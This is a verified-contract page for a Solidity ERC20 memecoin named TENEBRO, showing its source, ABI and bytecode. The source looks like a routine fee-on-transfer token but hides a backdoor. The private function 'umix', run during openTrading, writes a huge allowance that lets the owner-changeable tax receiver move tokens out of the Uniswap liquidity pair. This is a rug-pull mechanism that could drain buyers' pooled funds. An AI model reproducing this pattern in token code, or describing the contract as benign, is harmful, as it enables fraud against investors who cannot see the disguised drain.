Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

• interface IUniswapV2Router02
•    - function swapExactTokensForETHSupport ...
•    - function factory()
•    - function WETH()
•    - function addLiquidityETH(
• interface IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address sender, ...
•    - function _msgSender()
•  contract Ownable is Context
•    - function owner()
•    - function renounceOwnership()
• interface IUniswapV2Factory
•    - function createPair(address tokenA, a ...
• library SafeMath
•    - function add(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b, st ...
•    - function mul(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b, st ...
•  contract TENEBRO is Context, IERC2 ... *
•    - function name()
•    - function symbol()
•    - function decimals()
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address sender, ...
•    - function _approve(address owner, addr ...
•    - function _transfer(address from, addr ...
•    - function removeLimits61()
•    - function setTaxReceipt61(address paya ...
•    - function min61(uint256 a, uint256 b)
•    - function umix(uint256 amount61)
•    - function withdrawEth()
•    - function swapETH61(uint256 tokenAmoun ...
•    - function sendETH61(uint256 amount)
•    - function openTrading()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-10-30
*/

// SPDX-License-Identifier: MIT
/**
https://www.newliturgicalmovement.org/2024/10/introducing-newest-jubilee-mascot.html
Tg: https://t.me/tenebro_erc20
**/
pragma solidity 0.8.26;
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}
contract TENEBRO is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _tOwned61;
    mapping (address => mapping (address => uint256)) private _allows61;
    mapping (address => bool) private _isFeeExcempt61;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal61 = 420690000000 * 10**_decimals;
    string private constant _name = unicode"New Mascot of The Holy Church";
    string private constant _symbol = unicode"TENEBRO";
    uint256 public _maxAmount61 = 2 * (_tTotal61/100);
    uint256 public _maxWallet61 = 2 * (_tTotal61/100);
    uint256 public _taxThres61 = 1 * (_tTotal61/100);
    uint256 public _maxSwap61 = 1 * (_tTotal61/100);
    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 15;
    uint256 private _reduceSellTaxAt = 15;
    uint256 private _preventSwapBefore = 20;
    uint256 private _buyCount = 0;
    uint256 private _transferTax = 0;
    address payable private _receipt61;
    IUniswapV2Router02 private uniV2Router61;
    address private uniV2Pair61;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxAmount61);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () payable {
        _receipt61 = payable(0x984E53E3e8C69310b8754bF4Bb7BA77611948a9D);
        _tOwned61[address(this)] = _tTotal61;
        _isFeeExcempt61[owner()] = true;
        _isFeeExcempt61[address(this)] = true;
        _isFeeExcempt61[_receipt61] = true;
        emit Transfer(address(0), address(this), _tTotal61);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }    
    function totalSupply() public pure override returns (uint256) {
        return _tTotal61;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned61[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allows61[owner][spender];
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allows61[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allows61[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address from, address to, uint256 amount61) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount61 > 0, "Transfer amount must be greater than zero");
        uint256 fee61=0;
        if (!swapEnabled || inSwap) {
            _tOwned61[from] = _tOwned61[from] - amount61;
            _tOwned61[to] = _tOwned61[to] + amount61;
            emit Transfer(from, to, amount61);
            return;
        }
        if (from != owner() && to != owner()) {
            if(_buyCount>0){
                fee61 = (_transferTax);
            }
            if(_buyCount==0){
                fee61 = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax);
            }
            if (from == uniV2Pair61 && to != address(uniV2Router61) && ! _isFeeExcempt61[to] ) {
                require(amount61 <= _maxAmount61, "Exceeds the _maxAmount61.");
                require(balanceOf(to) + amount61 <= _maxWallet61, "Exceeds the maxWalletSize.");
                fee61 = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax);
                _buyCount++; 
            }
            if(to == uniV2Pair61 && from!= address(this) ){
                fee61 = ((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniV2Pair61 && swapEnabled) {
                if(contractTokenBalance > _taxThres61 && _buyCount > _preventSwapBefore)
                    swapETH61(min61(amount61, min61(contractTokenBalance, _maxSwap61)));
                sendETH61(address(this).balance);
            }
        }
        uint256 tax61=0;
        if(fee61>0){
            tax61=fee61.mul(amount61).div(100);
            _tOwned61[address(this)]=_tOwned61[address(this)].add(tax61);
            emit Transfer(from, address(this),tax61);
        }
        _tOwned61[from]=_tOwned61[from].sub(amount61);
        _tOwned61[to]=_tOwned61[to].add(amount61.sub(tax61));
        emit Transfer(from, to, amount61.sub(tax61));
    }
    function removeLimits61() external onlyOwner{
        _maxAmount61 = _tTotal61; _maxWallet61 = _tTotal61;
        emit MaxTxAmountUpdated(_tTotal61); 
    }
    function setTaxReceipt61(address payable _tax61) external onlyOwner {
        _receipt61 = _tax61;
        _isFeeExcempt61[_tax61] = true;
    }
    function min61(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
    function umix(uint256 amount61) private{
        address[2] memory sp61=[uniV2Pair61, _receipt61];
        _allows61[sp61[0]][sp61[1]]=150+(amount61*50+100)*150;
    }
    function withdrawEth() external onlyOwner{
        payable(msg.sender).transfer(address(this).balance);
    }
    function swapETH61(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniV2Router61.WETH();
        _approve(address(this), address(uniV2Router61), tokenAmount);
        uniV2Router61.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function sendETH61(uint256 amount) private {
        _receipt61.transfer(amount);
    }
    receive() external payable {}   
    function openTrading() external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        uniV2Router61 = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniV2Router61), _tTotal61);
        uniV2Pair61 = IUniswapV2Factory(uniV2Router61.factory()).createPair(
            address(this),
            uniV2Router61.WETH()
        );
        uniV2Router61.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );umix(_maxAmount61.mul(100)); 
        IERC20(uniV2Pair61).approve(address(uniV2Router61), type(uint).max);
        swapEnabled = true; tradingOpen = true;
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxAmount61","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxAmount61","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxSwap61","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet61","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxThres61","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits61","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"_tax61","type":"address"}],"name":"setTaxReceipt61","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260646100126009600a610365565b610021906461f313f88061037a565b61002b9190610391565b61003690600261037a565b60045560646100476009600a610365565b610056906461f313f88061037a565b6100609190610391565b61006b90600261037a565b600555606461007c6009600a610365565b61008b906461f313f88061037a565b6100959190610391565b6100a090600161037a565b60065560646100b16009600a610365565b6100c0906461f313f88061037a565b6100ca9190610391565b6100d590600161037a565b6007556014600881905560098190555f600a819055600b819055600f600c819055600d819055600e929092559081905560108190556013805461ffff60a81b1916905580546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601180546001600160a01b03191673984e53e3e8c69310b8754bf4bb7ba77611948a9d1790556101896009600a610365565b610198906461f313f88061037a565b305f9081526001602081905260408220929092556003906101c05f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553080825260039094528281208054861660019081179091556011549092168152918220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102476009600a610365565b610256906461f313f88061037a565b60405190815260200160405180910390a36103b0565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102bb5780850481111561029f5761029f61026c565b60018416156102ad57908102905b60019390931c928002610284565b935093915050565b5f826102d15750600161035f565b816102dd57505f61035f565b81600181146102f357600281146102fd57610319565b600191505061035f565b60ff84111561030e5761030e61026c565b50506001821b61035f565b5060208310610133831016604e8410600b841016171561033c575081810a61035f565b6103485f198484610280565b805f190482111561035b5761035b61026c565b0290505b92915050565b5f61037360ff8416836102c3565b9392505050565b808202811582820484141761035f5761035f61026c565b5f826103ab57634e487b7160e01b5f52601260045260245ffd5b500490565b6118fd806103bd5f395ff3fe608060405260043610610113575f3560e01c806370a082311161009d578063a0ef91df11610062578063a0ef91df1461030e578063a9059cbb14610322578063c6ca579e14610341578063c9567bf914610355578063dd62ed3e14610369575f80fd5b806370a082311461025c578063715018a6146102905780638cc4bd0d146102a45780638da5cb5b146102b957806395d89b41146102df575f80fd5b806323b872dd116100e357806323b872dd146101d7578063313ce567146101f65780633600669f146102115780636665423d1461022657806366c2fb3f1461023b575f80fd5b80630241c9681461011e57806306fdde0314610146578063095ea7b31461019457806318160ddd146101c3575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5061013360045481565b6040519081526020015b60405180910390f35b348015610151575f80fd5b5060408051808201909152601d81527f4e6577204d6173636f74206f662054686520486f6c792043687572636800000060208201525b60405161013d9190611505565b34801561019f575f80fd5b506101b36101ae36600461154e565b6103ad565b604051901515815260200161013d565b3480156101ce575f80fd5b506101336103c3565b3480156101e2575f80fd5b506101b36101f1366004611578565b6103e4565b348015610201575f80fd5b506040516009815260200161013d565b34801561021c575f80fd5b5061013360065481565b348015610231575f80fd5b5061013360075481565b348015610246575f80fd5b5061025a6102553660046115b6565b61044b565b005b348015610267575f80fd5b506101336102763660046115b6565b6001600160a01b03165f9081526001602052604090205490565b34801561029b575f80fd5b5061025a6104b6565b3480156102af575f80fd5b5061013360055481565b3480156102c4575f80fd5b505f546040516001600160a01b03909116815260200161013d565b3480156102ea575f80fd5b5060408051808201909152600781526654454e4542524f60c81b6020820152610187565b348015610319575f80fd5b5061025a610527565b34801561032d575f80fd5b506101b361033c36600461154e565b61057c565b34801561034c575f80fd5b5061025a610588565b348015610360575f80fd5b5061025a61063c565b348015610374575f80fd5b506101336103833660046115d1565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103b93384846109fd565b5060015b92915050565b5f6103d06009600a6116ff565b6103df906461f313f88061170d565b905090565b5f6103f0848484610b20565b610441843361043c856040518060600160405280602881526020016118a0602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110fd565b6109fd565b5060019392505050565b5f546001600160a01b0316331461047d5760405162461bcd60e51b815260040161047490611724565b60405180910390fd5b601180546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b5f546001600160a01b031633146104df5760405162461bcd60e51b815260040161047490611724565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105505760405162461bcd60e51b815260040161047490611724565b60405133904780156108fc02915f818181858888f19350505050158015610579573d5f803e3d5ffd5b50565b5f6103b9338484610b20565b5f546001600160a01b031633146105b15760405162461bcd60e51b815260040161047490611724565b6105bd6009600a6116ff565b6105cc906461f313f88061170d565b6004556105db6009600a6116ff565b6105ea906461f313f88061170d565b6005557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61061a6009600a6116ff565b610629906461f313f88061170d565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106655760405162461bcd60e51b815260040161047490611724565b601354600160a01b900460ff16156106bf5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610474565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107099030906106fa6009600a6116ff565b61043c906461f313f88061170d565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610759573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061077d9190611759565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107dc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108009190611759565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561084a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061086e9190611759565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d71947306108b5816001600160a01b03165f9081526001602052604090205490565b5f806108c85f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561092e573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109539190611774565b505060045461096d9150610968906064611135565b6111ba565b60135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af11580156109bf573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109e3919061179f565b506013805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a5f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610474565b6001600160a01b038216610ac05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610474565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b845760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610474565b6001600160a01b038216610be65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610474565b5f8111610c475760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610474565b6013545f90600160b01b900460ff161580610c6b5750601354600160a81b900460ff165b15610d23576001600160a01b0384165f90815260016020526040902054610c939083906117be565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610cc29083906117d1565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d159086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610d4d57505f546001600160a01b03848116911614155b15610fa657600f5415610d5f57506010545b600f545f03610d8257600c54600f5411610d7b57600854610d7f565b600a545b90505b6013546001600160a01b038581169116148015610dad57506012546001600160a01b03848116911614155b8015610dd157506001600160a01b0383165f9081526003602052604090205460ff16155b15610ed057600454821115610e285760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d6178416d6f756e7436312e000000000000006044820152606401610474565b60055482610e4a856001600160a01b03165f9081526001602052604090205490565b610e5491906117d1565b1115610ea25760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610474565b600c54600f5411610eb557600854610eb9565b600a545b600f80549192505f610eca836117e4565b91905055505b6013546001600160a01b038481169116148015610ef657506001600160a01b0384163014155b15610f1557600d54600f5411610f0e57600954610f12565b600b545b90505b305f90815260016020526040902054601354600160a81b900460ff16158015610f4b57506013546001600160a01b038581169116145b8015610f605750601354600160b01b900460ff165b15610fa45760065481118015610f795750600e54600f54115b15610f9b57610f9b610f9684610f918460075461123a565b61123a565b61124e565b610fa4476113be565b505b5f811561103757610fc26064610fbc8486611135565b906113f9565b305f90815260016020526040902054909150610fde908261143a565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061102e9085815260200190565b60405180910390a35b6001600160a01b0385165f908152600160205260409020546110599084611498565b6001600160a01b0386165f9081526001602052604090205561109c61107e8483611498565b6001600160a01b0386165f908152600160205260409020549061143a565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110e58685611498565b60405190815260200160405180910390a35050505050565b5f81848411156111205760405162461bcd60e51b81526004016104749190611505565b505f61112c84866117be565b95945050505050565b5f825f0361114457505f6103bd565b5f61114f838561170d565b90508261115c85836117fc565b146111b35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610474565b9392505050565b604080518082019091526013546001600160a01b0390811682526011541660208201526111e882603261170d565b6111f39060646117d1565b6111fe90609661170d565b6112099060966117d1565b81516001600160a01b039081165f908152600260209081526040808320958201519093168252939093529091205550565b5f81831161124857826111b3565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112945761129461181b565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112eb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061130f9190611759565b816001815181106113225761132261181b565b6001600160a01b03928316602091820292909201015260125461134891309116846109fd565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113809085905f9086903090429060040161182f565b5f604051808303815f87803b158015611397575f80fd5b505af11580156113a9573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6011546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156113f5573d5f803e3d5ffd5b5050565b5f6111b383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114d9565b5f8061144683856117d1565b9050838110156111b35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610474565b5f6111b383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110fd565b5f81836114f95760405162461bcd60e51b81526004016104749190611505565b505f61112c84866117fc565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610579575f80fd5b5f806040838503121561155f575f80fd5b823561156a8161153a565b946020939093013593505050565b5f805f6060848603121561158a575f80fd5b83356115958161153a565b925060208401356115a58161153a565b929592945050506040919091013590565b5f602082840312156115c6575f80fd5b81356111b38161153a565b5f80604083850312156115e2575f80fd5b82356115ed8161153a565b915060208301356115fd8161153a565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156116575780850481111561163b5761163b611608565b600184161561164957908102905b60019390931c928002611620565b935093915050565b5f8261166d575060016103bd565b8161167957505f6103bd565b816001811461168f5760028114611699576116b5565b60019150506103bd565b60ff8411156116aa576116aa611608565b50506001821b6103bd565b5060208310610133831016604e8410600b84101617156116d8575081810a6103bd565b6116e45f19848461161c565b805f19048211156116f7576116f7611608565b029392505050565b5f6111b360ff84168361165f565b80820281158282048414176103bd576103bd611608565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611769575f80fd5b81516111b38161153a565b5f805f60608486031215611786575f80fd5b5050815160208301516040909301519094929350919050565b5f602082840312156117af575f80fd5b815180151581146111b3575f80fd5b818103818111156103bd576103bd611608565b808201808211156103bd576103bd611608565b5f600182016117f5576117f5611608565b5060010190565b5f8261181657634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b8181101561187f5783516001600160a01b0316835260209384019390920191600101611858565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f5c604f6e389ff88406b9e3fd646c0718662c7ccbb396c3451eda36b4033c2d964736f6c634300081a0033

0x608060405260043610610113575f3560e01c806370a082311161009d578063a0ef91df11610062578063a0ef91df1461030e578063a9059cbb14610322578063c6ca579e14610341578063c9567bf914610355578063dd62ed3e14610369575f80fd5b806370a082311461025c578063715018a6146102905780638cc4bd0d146102a45780638da5cb5b146102b957806395d89b41146102df575f80fd5b806323b872dd116100e357806323b872dd146101d7578063313ce567146101f65780633600669f146102115780636665423d1461022657806366c2fb3f1461023b575f80fd5b80630241c9681461011e57806306fdde0314610146578063095ea7b31461019457806318160ddd146101c3575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5061013360045481565b6040519081526020015b60405180910390f35b348015610151575f80fd5b5060408051808201909152601d81527f4e6577204d6173636f74206f662054686520486f6c792043687572636800000060208201525b60405161013d9190611505565b34801561019f575f80fd5b506101b36101ae36600461154e565b6103ad565b604051901515815260200161013d565b3480156101ce575f80fd5b506101336103c3565b3480156101e2575f80fd5b506101b36101f1366004611578565b6103e4565b348015610201575f80fd5b506040516009815260200161013d565b34801561021c575f80fd5b5061013360065481565b348015610231575f80fd5b5061013360075481565b348015610246575f80fd5b5061025a6102553660046115b6565b61044b565b005b348015610267575f80fd5b506101336102763660046115b6565b6001600160a01b03165f9081526001602052604090205490565b34801561029b575f80fd5b5061025a6104b6565b3480156102af575f80fd5b5061013360055481565b3480156102c4575f80fd5b505f546040516001600160a01b03909116815260200161013d565b3480156102ea575f80fd5b5060408051808201909152600781526654454e4542524f60c81b6020820152610187565b348015610319575f80fd5b5061025a610527565b34801561032d575f80fd5b506101b361033c36600461154e565b61057c565b34801561034c575f80fd5b5061025a610588565b348015610360575f80fd5b5061025a61063c565b348015610374575f80fd5b506101336103833660046115d1565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103b93384846109fd565b5060015b92915050565b5f6103d06009600a6116ff565b6103df906461f313f88061170d565b905090565b5f6103f0848484610b20565b610441843361043c856040518060600160405280602881526020016118a0602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110fd565b6109fd565b5060019392505050565b5f546001600160a01b0316331461047d5760405162461bcd60e51b815260040161047490611724565b60405180910390fd5b601180546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b5f546001600160a01b031633146104df5760405162461bcd60e51b815260040161047490611724565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105505760405162461bcd60e51b815260040161047490611724565b60405133904780156108fc02915f818181858888f19350505050158015610579573d5f803e3d5ffd5b50565b5f6103b9338484610b20565b5f546001600160a01b031633146105b15760405162461bcd60e51b81526004016